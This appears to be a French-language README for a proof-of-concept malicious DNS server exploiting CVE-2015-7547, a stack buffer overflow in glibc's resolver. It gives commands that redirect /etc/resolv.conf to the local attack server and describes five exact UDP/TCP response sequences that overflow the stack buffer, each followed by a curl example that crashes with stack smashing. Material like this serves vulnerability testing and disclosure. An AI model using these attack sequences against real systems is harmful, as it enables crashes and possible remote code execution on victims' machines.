
Serveur d'exploitation PoC pour CVE-2015-7547
Pour tester sur une machine locale avec une version vulnérable de glibc :
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/# sudo python3 attack-server.py 127.0.0.127
Démarrage du serveur UDP sur 127.0.0.127:53...
Démarrage du serveur TCP sur 127.0.0.127:53...
Ensuite, depuis une autre session terminal, exécutez les attaques comme indiqué dans les exemples ci-dessous.
Nécessite la capacité d'envoyer des réponses > 2048 octets sur UDP et TCP.
Séquence d'attaque :
Réponse UDP, > 2048 octets, en-tête/question valide, indicateur TC activé (déclenche une mauvaise gestion de tampon et une nouvelle tentative TCP)
Réponse TCP, en-tête/question valide (force la prochaine réponse à être stockée dans un tampon alloué sur la pile)
Réponse TCP, > 2048 octets (déborde le tampon alloué sur la pile)
Exemple :
user@localhost:/# curl http://attack1
*** stack smashing detected ***: curl terminated
Erreur de segmentation (core dumped)
Nécessite la capacité d'envoyer des réponses > 2048 octets sur UDP.
Séquence d'attaque :
Réponse UDP, > 2048 octets, en-tête invalide (déclenche une mauvaise gestion de tampon, pas comptée comme réponse valide)
Ignorer la prochaine requête (déclenche une nouvelle tentative UDP suite au délai d'attente du sondage)
Réponse UDP, en-tête/question valide (force la prochaine réponse à être stockée dans un tampon alloué sur la pile)
Réponse UDP, > 2048 octets (déborde le tampon alloué sur la pile)
Exemple :
user@localhost:/# curl http://attack2
*** stack smashing detected ***: curl terminated
Erreur de segmentation (core dumped)
Nécessite la capacité d'envoyer des réponses > 1024 octets sur UDP et > 2048 octets sur TCP.
Séquence d'attaque :
Réponse UDP, 1024 octets, en-tête/question valide (remplit la moitié du tampon alloué sur la pile)
Réponse UDP, > 1024 octets, en-tête/question valide, indicateur TC activé (déclenche une mauvaise gestion de tampon et une nouvelle tentative TCP)
Réponse TCP, en-tête/question valide (force la prochaine réponse à être stockée dans un tampon alloué sur la pile)
Réponse TCP, > 2048 octets (déborde le tampon alloué sur la pile)
Exemple :
user@localhost:/# curl http://attack3
*** stack smashing detected ***: curl terminated
Erreur de segmentation (core dumped)
Nécessite la capacité d'envoyer des réponses > 2048 octets sur UDP.
Séquence d'attaque :
Réponse UDP, 2048 octets, en-tête/question valide (remplit le tampon alloué sur la pile)
Réponse UDP (déclenche une mauvaise gestion de tampon et une nouvelle tentative UDP due à une réception de socket de 0 octet)
Réponse UDP, en-tête/question valide (force la prochaine réponse à être stockée dans un tampon alloué sur la pile)
Réponse UDP, > 2048 octets (déborde le tampon alloué sur la pile)
Exemple :
user@localhost:/# curl http://attack4
*** stack smashing detected ***: curl terminated
Erreur de segmentation (core dumped)
Nécessite la capacité d'envoyer des réponses > 2048 octets sur TCP et au moins deux entrées de serveur de noms dans /etc/resolv.conf.
Séquence d'attaque :
Réponse UDP, en-tête/question valide, indicateur TC activé (optionnel, déclenche une nouvelle tentative TCP si la requête initiale est sur UDP)
Réponse TCP, > 2048 octets (déclenche une mauvaise gestion de tampon)
Réponse TCP, vide (déclenche une nouvelle tentative TCP due à une réception de socket de 0 octet)
Réponse TCP, en-tête/question valide (force la prochaine réponse à être stockée dans un tampon alloué sur la pile)
Réponse TCP, > 2048 octets (déborde le tampon alloué sur la pile)
Exemple :
user@localhost:/# curl http://attack5
*** stack smashing detected ***: curl terminated
Erreur de segmentation (core dumped)